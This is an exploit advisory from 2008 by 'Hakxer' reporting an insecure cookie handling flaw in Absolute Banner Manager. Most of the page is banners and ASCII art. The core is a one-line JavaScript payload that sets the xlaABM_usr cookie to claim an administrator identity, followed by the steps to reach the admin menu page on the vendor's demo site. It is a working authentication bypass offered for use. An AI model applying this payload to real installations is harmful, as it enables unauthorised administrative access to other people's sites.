[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Absolute Banner Manager Insecure Cookie Handling Vulnerability
# Published : 2008-10-31
# Author : Hakxer
# Previous Title : Absolute Content Rotator 6.0 Insecure Cookie Handling Vulnerability
# Next Title : Absolute Form Processor 4.0 Insecure Cookie Handling Vulnerability
###############################################################################################
_____ ____ __ ___ ______ ______ | ____ _____ _____
| / ___| / / / ____| / | | | | _ |
|_____ | | _ V / | | | | ___| |_____ | |_) | |_____
| | |_ || | | | |____ | | | | | | _ | |
|_____ ____| |_| _____| _____/ |___| |____ |__| _ ______|
[~] Author : Hakxer
[~] Home : Www.educ-up.com
[~] Type Gap : Insecure Cookie Handling
[~] script : Absolute Banner Manager [see script] http://www.xigla.com/absolutebmnet/demo.htm
[~] Team : EgY Coders
#################################################################################################
Exploit : First go to http://www.xigla.com/absolutebmnet/demo/login.aspx
Second Execute JS Code
[~] javascript:document.cookie="xlaABM_usr=userid=administrator&company=Sytem Administrator";
Now Go to http://www.xigla.com/absolutebmnet/demo/menu.aspx
--- Proud To Be A Muslim ---
# _=END=_ #
# www.Syue.com [2008-10-31]